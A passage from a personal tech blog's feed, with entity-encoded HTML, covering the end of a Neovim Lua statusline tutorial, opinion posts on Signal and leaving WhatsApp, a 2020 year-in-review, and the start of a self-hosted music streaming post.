mode_map[m]&#xA;end&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, set up your highlights. Again, there isn&amp;rsquo;t any interface for&#xA;highlights yet, so whip out that &lt;code&gt;vim.api.nvim_exec()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-lua&#34;&gt;-- statusline.lua&#xA;&#xA;vim.api.nvim_exec(&#xA;[[&#xA; hi PrimaryBlock ctermfg=06 ctermbg=00&#xA; hi SecondaryBlock ctermfg=08 ctermbg=00&#xA; hi Blanks ctermfg=07 ctermbg=00&#xA;]], false)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Create a new table to represent the entire statusline itself. You can&#xA;add any other functions you want (like one that returns the current git&#xA;branch, for instance). Read &lt;code&gt;:h &#39;statusline&#39;&lt;/code&gt; if you don&amp;rsquo;t understand&#xA;what&amp;rsquo;s going on here.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-lua&#34;&gt;-- statusline.lua&#xA;&#xA;local stl = {&#xA; &#39;%#PrimaryBlock#&#39;,&#xA; mode(),&#xA; &#39;%#SecondaryBlock#&#39;,&#xA; &#39;%#Blanks#&#39;,&#xA; &#39;%f&#39;,&#xA; &#39;%m&#39;,&#xA; &#39;%=&#39;,&#xA; &#39;%#SecondaryBlock#&#39;,&#xA; &#39;%l,%c &#39;,&#xA; &#39;%#PrimaryBlock#&#39;,&#xA; &#39;%{&amp;amp;filetype}&#39;,&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally, with the power of &lt;code&gt;table.concat()&lt;/code&gt;, set your statusline. This&#xA;is akin to doing a series of string concatenations, but way faster.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-lua&#34;&gt;-- statusline.lua&#xA;&#xA;vim.o.statusline = table.concat(stl)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&#34;https://cdn.icyphox.sh/statusline.png&#34; alt=&#34;statusline&#34; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;this-is-what-being-tpope-feels-like&#34;&gt;this is what being tpope feels like&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can now write that plugin you always wished for! I sat down to write&#xA;a plugin for &lt;a href=&#34;https://github.com/jhawthorn/fzy&#34; rel=&#34;nofollow&#34;&gt;fzy&lt;/a&gt;&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:5&#34;&gt;&lt;a href=&#34;#fn:5&#34;&gt;5&lt;/a&gt;&lt;/sup&gt;, which you can&#xA;find &lt;a href=&#34;https://git.icyphox.sh/dotfiles/tree/config/nvim/lua/fzy&#34; rel=&#34;nofollow&#34;&gt;here&lt;/a&gt;&#xA;along with my entire Neovim config&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:6&#34;&gt;&lt;a href=&#34;#fn:6&#34;&gt;6&lt;/a&gt;&lt;/sup&gt;. I plan to port a the last of my&#xA;&lt;code&gt;plugin/&lt;/code&gt; directory over to Lua, soon™.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And it&amp;rsquo;s only going to get better when the Lua API is completed. We can&#xA;all be Vim plugin artists now.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;footnotes&#34;&gt;&#xA;&#xA;&lt;hr /&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li id=&#34;fn:1&#34;&gt;&lt;a href=&#34;https://github.com/neovim/neovim/pull/12235&#34; rel=&#34;nofollow&#34;&gt;https://github.com/neovim/neovim/pull/12235&lt;/a&gt; &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:1&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&#xA;&lt;li id=&#34;fn:2&#34;&gt;&lt;a href=&#34;https://github.com/neovim/neovim/pull/12378&#34; rel=&#34;nofollow&#34;&gt;https://github.com/neovim/neovim/pull/12378&lt;/a&gt; &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:2&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&#xA;&lt;li id=&#34;fn:3&#34;&gt;Also see: &lt;a href=&#34;https://github.com/wbthomason/packer.nvim/&#34; rel=&#34;nofollow&#34;&gt;packer.nvim&lt;/a&gt; &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:3&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&#xA;&lt;li id=&#34;fn:4&#34;&gt;This meme was made by NIH gang. &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:4&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&#xA;&lt;li id=&#34;fn:5&#34;&gt;A less bloated alternative to fzf, written in C. &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:5&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&#xA;&lt;li id=&#34;fn:6&#34;&gt;&lt;p&gt;&lt;a href=&#34;https://github.com/icyphox/dotfiles/tree/master/config/nvim&#34; rel=&#34;nofollow&#34;&gt;GitHub link&lt;/a&gt;&amp;mdash; if you&amp;rsquo;re into that sort of thing.&lt;/p&gt; &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:6&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;/div&gt;&#xA;</summary>
</entry>
<entry>
<title>We can do better than Signal</title>
<updated>2021-01-17T00:00:00Z</updated>
<id>tag:icyphox.sh/,2021-01-17:blog/signal</id>
<link href="https://icyphox.sh/blog/signal"></link>
<summary type="html">&lt;h2&gt;Centralized silos are never the solution&lt;/h2&gt;&#xA;&lt;p&gt;Signal is possibly the most recommended pro-privacy instant&#xA;communication app&amp;mdash;one that was commonplace in the hacker community,&#xA;and has now gained a lot of mainstream traction, thanks to WhatsApp&#xA;deciding to screw its userbase over. It certainly presents a more&#xA;compelling alternative than others in the same space, like WhatsApp&#xA;itself, Telegram, etc. They engineered the &lt;a href=&#34;https://en.wikipedia.org/wiki/Signal_Protocol&#34; rel=&#34;nofollow&#34;&gt;Signal&#xA;Protocol&lt;/a&gt;, which has&#xA;found its way into other messaging systems, and has been the base for&#xA;the likes of OMEMO and Matrix.&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34;&gt;1&lt;/a&gt;&lt;/sup&gt; While I admire the tech behind&#xA;Signal, I still believe we can do better, and we ought to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a few gripes with Signal&amp;mdash;the biggest of them all is it&amp;rsquo;s&#xA;centralized, and in the US no less. This alone makes it not that&#xA;different from WhatsApp&amp;mdash;we&amp;rsquo;re simply moving from one silo to another.&#xA;What&amp;rsquo;s to say that Signal will uphold its values, continue operating&#xA;&lt;em&gt;and&lt;/em&gt; evade censorship and potential compromise? To top it off, they&amp;rsquo;re&#xA;becoming a fairly high value target off late. And if that isn&amp;rsquo;t&#xA;convincing enough, Signal&amp;rsquo;s massive outage lasting nearly a day&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34;&gt;2&lt;/a&gt;&lt;/sup&gt;&#xA;should be enough evidence against centralization. Further, Signal is&#xA;known to use AWS&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:3&#34;&gt;&lt;a href=&#34;#fn:3&#34;&gt;3&lt;/a&gt;&lt;/sup&gt; as their cloud provider&amp;mdash;what if another&#xA;Parler&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:4&#34;&gt;&lt;a href=&#34;#fn:4&#34;&gt;4&lt;/a&gt;&lt;/sup&gt; happens and the rug is pulled from under Signal&amp;rsquo;s feet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A common defense in favor of Signal is, &amp;ldquo;But it&amp;rsquo;s all open source!&amp;rdquo;.&#xA;Sure is, but on what basis do I trust them? I don&amp;rsquo;t mean to sound&#xA;conspiratorial, but what&amp;rsquo;s to say that the server in production hasn&amp;rsquo;t&#xA;been backdoored? In fact, the &lt;a href=&#34;https://github.com/signalapp/Signal-Server&#34; rel=&#34;nofollow&#34;&gt;Signal server&#xA;code&lt;/a&gt; hasn&amp;rsquo;t even been&#xA;updated since April 2020. You&amp;rsquo;re telling me it&amp;rsquo;s undergone &lt;em&gt;no&lt;/em&gt; changes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another response I usually see is &amp;ldquo;But Signal is all we have!&amp;rdquo;. While&#xA;that is somewhat true&amp;mdash;at least by the metric of &amp;ldquo;secure messengers&#xA;your granny can use&amp;rdquo;, there are some promising alternatives who are&#xA;especially focused on decentralizing E2EE communications.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://matrix.org&#34; rel=&#34;nofollow&#34;&gt;Matrix&lt;/a&gt;: Matrix has improved a whole lot, and I&#xA;like that they&amp;rsquo;re working to disprove that end-to-end encryption&#xA;cannot be decentralized&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:5&#34;&gt;&lt;a href=&#34;#fn:5&#34;&gt;5&lt;/a&gt;&lt;/sup&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://getsession.org&#34; rel=&#34;nofollow&#34;&gt;Session&lt;/a&gt;: While it involves some cryptoshit,&#xA;and hasn&amp;rsquo;t been verified yet, it&amp;rsquo;s an interesting alternative to keep&#xA;an eye out for.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;All things said, Signal is the shiniest turd we have&amp;mdash;it fits most&#xA;threat models, and does the job alright; I will continue to use it.&#xA;However, here&amp;rsquo;s something to think about: while privacy preserving tech&#xA;is commendable, does it have to come at the cost of user freedoms? Hint:&#xA;it doesn&amp;rsquo;t, and it shouldn&amp;rsquo;t.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;footnotes&#34;&gt;&#xA;&#xA;&lt;hr /&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li id=&#34;fn:1&#34;&gt;&lt;a href=&#34;https://en.wikipedia.org/wiki/Double_Ratchet_Algorithm&#34; rel=&#34;nofollow&#34;&gt;https://en.wikipedia.org/wiki/Double_Ratchet_Algorithm&lt;/a&gt; &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:1&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&#xA;&lt;li id=&#34;fn:2&#34;&gt;&lt;a href=&#34;https://twitter.com/signalapp/status/1350595202872823809&#34; rel=&#34;nofollow&#34;&gt;https://twitter.com/signalapp/status/1350595202872823809&lt;/a&gt; &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:2&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&#xA;&lt;li id=&#34;fn:3&#34;&gt;&lt;a href=&#34;https://signal.org/blog/looking-back-on-the-front/&#34; rel=&#34;nofollow&#34;&gt;https://signal.org/blog/looking-back-on-the-front/&lt;/a&gt; &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:3&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&#xA;&lt;li id=&#34;fn:4&#34;&gt;&lt;a href=&#34;https://en.wikipedia.org/wiki/Parler#Shutdown_by_service_providers&#34; rel=&#34;nofollow&#34;&gt;https://en.wikipedia.org/wiki/Parler#Shutdown_by_service_providers&lt;/a&gt; &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:4&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&#xA;&lt;li id=&#34;fn:5&#34;&gt;&lt;a href=&#34;https://matrix.org/blog/2020/01/02/on-privacy-versus-freedom&#34; rel=&#34;nofollow&#34;&gt;https://matrix.org/blog/2020/01/02/on-privacy-versus-freedom&lt;/a&gt; &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:5&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;/div&gt;&#xA;</summary>
</entry>
<entry>
<title>What&#39;s next after WhatsApp?</title>
<updated>2021-01-08T00:00:00Z</updated>
<id>tag:icyphox.sh/,2021-01-08:blog/whatsapp</id>
<link href="https://icyphox.sh/blog/whatsapp"></link>
<summary type="html">&lt;h2&gt;Let&#39;s not act surprised here, this was bound to happen&lt;/h2&gt;&#xA;&lt;p&gt;&lt;strong&gt;Update 2021&amp;ndash;01&amp;ndash;17&lt;/strong&gt;: I&amp;rsquo;m now using Signal. It&amp;rsquo;s fine for now, but &lt;a href=&#34;/blog/signal&#34;&gt;we&#xA;can do better&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ever since Facebook acquired WhatsApp for $19bn, it was blatantly&#xA;obvious that they wanted in on the massive userbase, and consequently,&#xA;the data they could collect. The acquisition wasn&amp;rsquo;t all too bad at&#xA;first, I&amp;rsquo;ll admit&amp;mdash;they added in full E2EE via the Signal Protocol,&#xA;their privacy policy wasn&amp;rsquo;t &lt;em&gt;all too bad&lt;/em&gt;, at least for a Facebook&#xA;product. While I obviously didn&amp;rsquo;t enjoy using it&amp;mdash;being the only&#xA;non-free app on my phone&amp;mdash;I could still put up with it, considering&#xA;how ubiquitous it is here in India.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That will no longer be the case, however. With the new &lt;a href=&#34;https://www.whatsapp.com/legal/privacy-policy&#34; rel=&#34;nofollow&#34;&gt;privacy&#xA;policy&lt;/a&gt; introduced by&#xA;WhatsApp, the below data will be collected and shared with Facebook and&#xA;its associated companies (quoting from the privacy policy):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Account Information. Your phone number, profile name and photo, online&#xA;status and status message, last seen status, and receipts may be&#xA;available to anyone who uses our Services, although you can configure&#xA;your Services settings to manage certain information available to&#xA;other users.&lt;/li&gt;&#xA;&lt;li&gt;Your Contacts and Others. Users with whom you communicate may store or&#xA;reshare your information (including your phone number or messages) with&#xA;others on and off our Services. You can use your Services settings and&#xA;the block feature in our Services to manage the users of our Services&#xA;with whom you communicate and certain information you share.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And if you don&amp;rsquo;t consent to these&amp;mdash;i.e., you don&amp;rsquo;t click on &amp;ldquo;Agree&amp;rdquo; on&#xA;the pop-up about the new terms, you can no longer use WhatsApp.&#xA;Naturally, I didn&amp;rsquo;t.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, it&amp;rsquo;s fairly common knowledge that the entirety of India revolves&#xA;around WhatsApp. &lt;em&gt;Everything&lt;/em&gt; happens over WhatsApp. Invoices, shopping,&#xA;general logistics and operations, and in my case&amp;mdash;university&#xA;communications. I&amp;rsquo;d even declare WhatsApp as &amp;ldquo;critical infrastructure&amp;rdquo;,&#xA;like power and water; without which the country cannot function. That&amp;rsquo;s&#xA;a scary thought in itself&amp;mdash;imagine an entire nation relying on&#xA;Facebook for something so pivotal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what are my options? I can either switch to a new messaging app, or&#xA;ditch instant messaging altogether. Let&amp;rsquo;s explore these.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some neat potential alternatives to WhatsApp, the most popular&#xA;one being Signal. While I think Signal is technically sound, I&amp;rsquo;m&#xA;skeptical about using it primarily due to its centralized nature, hosted&#xA;in the US. Moxie is openly against federation/decentralization.&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then there&amp;rsquo;s &lt;a href=&#34;https://getsession.org&#34; rel=&#34;nofollow&#34;&gt;Session&lt;/a&gt;, a fork of Signal&#xA;that aims to be completely decentralized. It uses &lt;a href=&#34;https://en.wikipedia.org/wiki/Onion_routing&#34; rel=&#34;nofollow&#34;&gt;onion&#xA;routing&lt;/a&gt;, similar to Tor.&#xA;It &lt;em&gt;does&lt;/em&gt; involve some blockshit, but the actual messaging is all done&#xA;over onion routing (they call it &amp;ldquo;onion requests&amp;rdquo;). From about 5 minutes&#xA;of usage, I can tell that the app&amp;rsquo;s UI is very nicely done. It does&#xA;suffer from severe UX issues though&amp;mdash;you can&amp;rsquo;t add someone from your&#xA;address book, rather, you have to paste their Session ID (a long&#xA;alphanumeric) to initiate a conversation. In its current state, Session&#xA;is more &amp;ldquo;tech for tech people&amp;rdquo; than &amp;ldquo;tech for the average user&amp;rdquo;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then there&amp;rsquo;s the issue of actually getting people to use an&#xA;alternate messaging app. I know that 99% percent of the people I talk to&#xA;on WhatsApp don&amp;rsquo;t care about the new privacy policy. I also know that&#xA;they&amp;rsquo;re &lt;em&gt;not&lt;/em&gt; going to switch for just one guy (me). Further, the&#xA;network effects are enormous. Assuming they did switch, they&amp;rsquo;d then&#xA;have to convince all &lt;em&gt;their&lt;/em&gt; contacts to do so as well&amp;mdash;which isn&amp;rsquo;t&#xA;happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which brings me to the second option: ditching IM completely. This&#xA;option is starting to sound a lot better than having to talk to people&#xA;about why Facebook is bad, and why privacy matters and why they should&#xA;quit WhatsApp&amp;mdash;for what will be the hundredth time. I don&amp;rsquo;t see any&#xA;immediate downsides to it. Sure, I&amp;rsquo;ll miss out on some socializing but&#xA;who am I kidding, it&amp;rsquo;s all mostly smalltalk anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps that&amp;rsquo;s what I&amp;rsquo;ll end up doing&amp;mdash;use WhatsApp until it works,&#xA;and uninstall it after. Matters of immediate attention can be conveyed&#xA;over a phone call. Otherwise, an SMS/email should do.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;footnotes&#34;&gt;&#xA;&#xA;&lt;hr /&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li id=&#34;fn:1&#34;&gt;&lt;a href=&#34;https://signal.org/blog/the-ecosystem-is-moving/&#34; rel=&#34;nofollow&#34;&gt;https://signal.org/blog/the-ecosystem-is-moving/&lt;/a&gt; &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:1&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;/div&gt;&#xA;</summary>
</entry>
<entry>
<title>2020 in review</title>
<updated>2020-12-24T00:00:00Z</updated>
<id>tag:icyphox.sh/,2020-12-24:blog/2020-in-review</id>
<link href="https://icyphox.sh/blog/2020-in-review"></link>
<summary type="html">&lt;h2&gt;Oh boy, here we go&lt;/h2&gt;&#xA;&lt;p&gt;It&amp;rsquo;s been a little over 9 months since the day I left my university&#xA;dorms (got kicked out, rather), in light of &lt;span class=&#34;lol&#34;&gt;the&#xA;pandemic&lt;/span&gt;. I have my finals going on right now, and 5 days to go&#xA;for the next examination&amp;mdash;a great time to reflect on what I managed to&#xA;do this year. So here I am, sitting at my little home office-thing, with&#xA;a bad cold&amp;mdash;as is tradition during December&amp;mdash;writing this post.&#xA;Let&amp;rsquo;s get to it!&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;interning-at-cometchat&#34;&gt;interning at CometChat&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I spent a good part of this year interning at&#xA;&lt;a href=&#34;https://www.cometchat.com&#34; rel=&#34;nofollow&#34;&gt;CometChat&lt;/a&gt;, mostly working as an&#xA;infrastructure engineer. I dabbled with some pretty neat tech&amp;mdash;here&amp;rsquo;s&#xA;a quick list of things I worked on:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;XMPP over WebSockets (RFC 7395). Also wrote&#xA;&lt;a href=&#34;https://git.icyphox.sh/wsabi&#34; rel=&#34;nofollow&#34;&gt;wsabi&lt;/a&gt;&amp;mdash;a WebSocket proxy in Nim.&#xA;Never got used, but cool nonetheless.&lt;/li&gt;&#xA;&lt;li&gt;On-premise (bare metal) deployment of our stack using Docker Swarm.&lt;/li&gt;&#xA;&lt;li&gt;Google Kubernetes Engine (GKE) deployment of our stack.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I think there&amp;rsquo;s value in adding that I experienced a paradigm shift in&#xA;my view of tools like Kubernetes. I still think they&amp;rsquo;re bloated and&#xA;abstraction heavy, but they exist to solve a problem&amp;mdash;and they do it&#xA;somewhat okay. In an ideal world, nobody would fall for the &amp;ldquo;cloud&amp;rdquo;&#xA;meme, and wouldn&amp;rsquo;t toss everything into a container&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:docker-meme&#34;&gt;&lt;a href=&#34;#fn:docker-meme&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;&amp;mdash;but&#xA;our world is far from that.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;things-i-made&#34;&gt;things I made&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://git.icyphox.sh/shlide&#34; rel=&#34;nofollow&#34;&gt;shlide&lt;/a&gt;: A slide deck presentation&#xA;tool written in pure bash. Born from a conversation I had with a&#xA;friend&amp;mdash;quickly hacked it together over a weekend. Even used it&#xA;for a talk I presented!&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://git.icyphox.sh/vite&#34; rel=&#34;nofollow&#34;&gt;vite&lt;/a&gt;: Go rewrite of the static site&#xA;generator I wrote in Python, way back in 2018. It was a misnomer,&#xA;since it was far from &lt;em&gt;vite&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2 id=&#34;other-hackery&#34;&gt;other hackery&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Self-hosted a &lt;em&gt;bunch&lt;/em&gt; of services on my Pi. The only downtime is when my&#xA;ISP goes down, which is thankfully not &lt;em&gt;that&lt;/em&gt; often. Here&amp;rsquo;s a list of&#xA;things running on my Pi right now:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://radicale.org&#34; rel=&#34;nofollow&#34;&gt;radicale&lt;/a&gt;: Cal/CardDAV server&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://pleroma.social&#34; rel=&#34;nofollow&#34;&gt;Pleroma&lt;/a&gt;: Single-user federated social media&#xA;instance&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://cdn.icyphox.sh&#34; rel=&#34;nofollow&#34;&gt;filehost&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://github.com/sentriz/gonic&#34; rel=&#34;nofollow&#34;&gt;gonic&lt;/a&gt;: Music streaming server&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;http://deavmi.assigned.network/docs/crxn/site/&#34; rel=&#34;nofollow&#34;&gt;crxn&lt;/a&gt;: Cool network&#xA;of cool people.&lt;/li&gt;&#xA;&lt;li&gt;Few other things that &lt;a href=&#34;https://peppe.rs&#34; rel=&#34;nofollow&#34;&gt;Nerdy&lt;/a&gt; uses.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My OpenBSD install is still going strong! Started at 6.6, now on&#xA;6.8-current. This is most definitely my endgame OS&amp;mdash;everything just&#xA;works, and works very well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I played &lt;a href=&#34;/blog/r2wars-2020&#34;&gt;r2wars this year&lt;/a&gt;, which was hella fun. A&#xA;good exercise in assembly programming. I even placed 3rd, so that was&#xA;awesome.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;this-blog&#34;&gt;this blog&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Evidently, this site has undergone quite a few visual changes. It&amp;rsquo;s no&#xA;longer that all-black with white text, with occasional bits of cyan. My&#xA;overall aesthetic has considerably mellowed down&amp;mdash;prioritizing good&#xA;typography over colors.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-console&#34;&gt;$ cat pages/blog/*.md | grep &#39;date: 2020-&#39; | wc -l&#xA; 26&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;26 posts this year (including this)! That&amp;rsquo;s 8 more than the 18 I wrote&#xA;last year&amp;mdash;roughly 1 post every two weeks. Pretty good variety too&amp;mdash;some technical, some less so&amp;hellip;and some controversial. Heh.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;onward-and-upward&#34;&gt;onward and upward&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Contrary to popular opinion, 2020 wasn&amp;rsquo;t all that bad&amp;mdash;obviously, I&#xA;only speak for myself. That said, I&amp;rsquo;m looking forward to 2021 for a&#xA;number of reasons: for one, I&amp;rsquo;ll be done with college (finally!), and&#xA;starting a full-time job at a company I find really exciting!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a few blog post ideas that I didn&amp;rsquo;t get around to writing this&#xA;year, so expect to see a few of those. The new job will involve a lot of&#xA;infra-related work&amp;mdash;I&amp;rsquo;m certain my incredibly sought after insights on&#xA;those things will find their way here, as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, I&amp;rsquo;m going to enjoy the rest of this year playing Runeterra and&#xA;Halo MCC. On to greater things in 2021, and I&amp;rsquo;ll see you next year!&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;footnotes&#34;&gt;&#xA;&#xA;&lt;hr /&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li id=&#34;fn:docker-meme&#34;&gt;&lt;a href=&#34;https://i.imgur.com/3eTKEZp.jpg&#34; rel=&#34;nofollow&#34;&gt;https://i.imgur.com/3eTKEZp.jpg&lt;/a&gt; &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:docker-meme&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;/div&gt;&#xA;</summary>
</entry>
<entry>
<title>My music streaming setup</title>
<updated>2020-12-13T00:00:00Z</updated>
<id>tag:icyphox.sh/,2020-12-13:blog/music-streaming</id>
<link href="https://icyphox.sh/blog/music-streaming"></link>
<summary type="html">&lt;h2&gt;Think Spotify, but self-hosted and not as good&lt;/h2&gt;&#xA;&lt;p&gt;Having a self-hosted, centralized music streaming setup has been on my&#xA;todo list for the longest time. I&amp;rsquo;d initially tried using NFS, but&#xA;mounting it on my phone was very inconvenient. Incidentally, a few days&#xA;ago, the existence of Subsonic/*sonic became known to me.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;gonic&#34;&gt;gonic&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I found &lt;a href=&#34;https://github.com/sentriz/gonic&#34; rel=&#34;nofollow&#34;&gt;gonic&lt;/a&gt; to be the simplest of&#xA;them all, and proceeded to set it up on the RPi. There are other&#xA;alternatives too, like &lt;a href=&#34;https://www.navidrome.org&#34; rel=&#34;nofollow&#34;&gt;Navidrome&lt;/a&gt;, which&#xA;ships with a web player, or &lt;a href=&#34;https://airsonic.github.io/&#34; rel=&#34;nofollow&#34;&gt;Airsonic&lt;/a&gt;.&#xA;gonic stood out the most to me because it&amp;rsquo;s effectively headless,&#xA;barring a simple web interface for configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting it up was trivial. I did run into an&#xA;&lt;a href=&#34;https://github.com/sentriz/gonic/issues/89&#34; rel=&#34;nofollow&#34;&gt;issue&lt;/a&gt;&amp;mdash;I noticed that&#xA;only songs that were already in folders, sorted by album, were being&#xA;picked up in the scan.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|-- Void Of Vision - Hyperdaze (2019)&#xA;| |-- 01. Overture.mp3&#xA;| |-- 02. Year of the Rat.mp3&#xA;| |-- 03. Babylon.mp3&#xA;| |-- 04. If Only.mp3&#xA;| |-- 05. Slave to the Name.mp3&#xA;| |-- 06. Adrenaline.mp3&#xA;| |-- 07. Hole In Me.mp3&#xA;| |-- 08. Kerosene Dream.mp3&#xA;| |-- 09. Decay.mp3&#xA;| |-- 10. Splinter.mp3&#xA;| |-- 11. Hyperdaze.mp3&#xA;|-- Volumes - Disaster Vehicle.mp3&#xA;|-- Volumes - Finite.mp3&#xA;|-- Volumes - Heavy Silence.mp3&#xA;|-- Volumes - Hope.mp3&#xA;|-- Volumes - Interlude.mp3&#xA;...&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, in a directory tree like above, only the tracks inside 